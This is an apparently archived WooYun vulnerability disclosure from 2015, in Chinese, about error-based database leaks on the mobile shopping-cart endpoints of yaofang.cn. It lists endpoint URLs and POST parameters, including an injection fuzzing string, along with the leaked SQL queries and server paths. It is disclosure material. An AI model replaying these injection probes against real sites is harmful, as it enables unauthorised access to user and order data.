乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-01-13: 细节已通知厂商并且等待厂商处理中 2015-01-13: 厂商已经确认,细节仅向厂商公开 2015-01-23: 细节向核心白帽子及相关领域专家公开 2015-02-02: 细节向普通白帽子公开 2015-02-12: 细节向实习白帽子公开 2015-02-27: 细节向公众公开
药房网某站多处数据库信息泄露
1、
url:http://m.yaofang.cn/cart/cityListpost:province_id=
A Database Error OccurredError Number: 1064You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1SELECT region_id,region_name FROM ecs_region WHERE parent_id =Filename: /apache/htdocs/yfsite_wap/n/application/wap/models/usersmodel.phpLine Number: 193
2、
url:http://m.yaofang.cn//cart/delGoods post:goods_id=&r=0.6412887854967266
A Database Error OccurredError Number: 1064You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'and shop_id = 42000 and fromId = 0' at line 1delete from ecs_cart where session_id = 'm1421058848' and goods_id = and shop_id = 42000 and fromId = 0Filename: /apache/htdocs/yfsite_wap/n/application/wap/models/cart_model.phpLine Number: 64
3、get:http://m.yaofang.cn/cart/disList
4、
url:http://m.yaofang.cn//cart/updateCartGoodsNumberpost:flag=12345'"\'\");|]*{%0d%0a<%00>%bf%27'####&goods_id=1004458&r=0.01643573702313006
A Database Error OccurredError Number: 1064You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1 WHERE `goods_id` = '1004458' AND `session_id` = ''' at line 1UPDATE ecs_cart SET goods_number = goods_number 1 WHERE `goods_id` = '1004458' AND `session_id` = ''Filename: /apache/htdocs/yfsite_wap/n/application/wap/models/cart_model.phpLine Number: 155
危害等级:高
漏洞Rank:20
确认时间:2015-01-13 14:45
您提交的报告我们已收到!感谢您对药房网的关注和支持!经过我们技术评定后,会发放奖励,请保持手机畅通。
暂无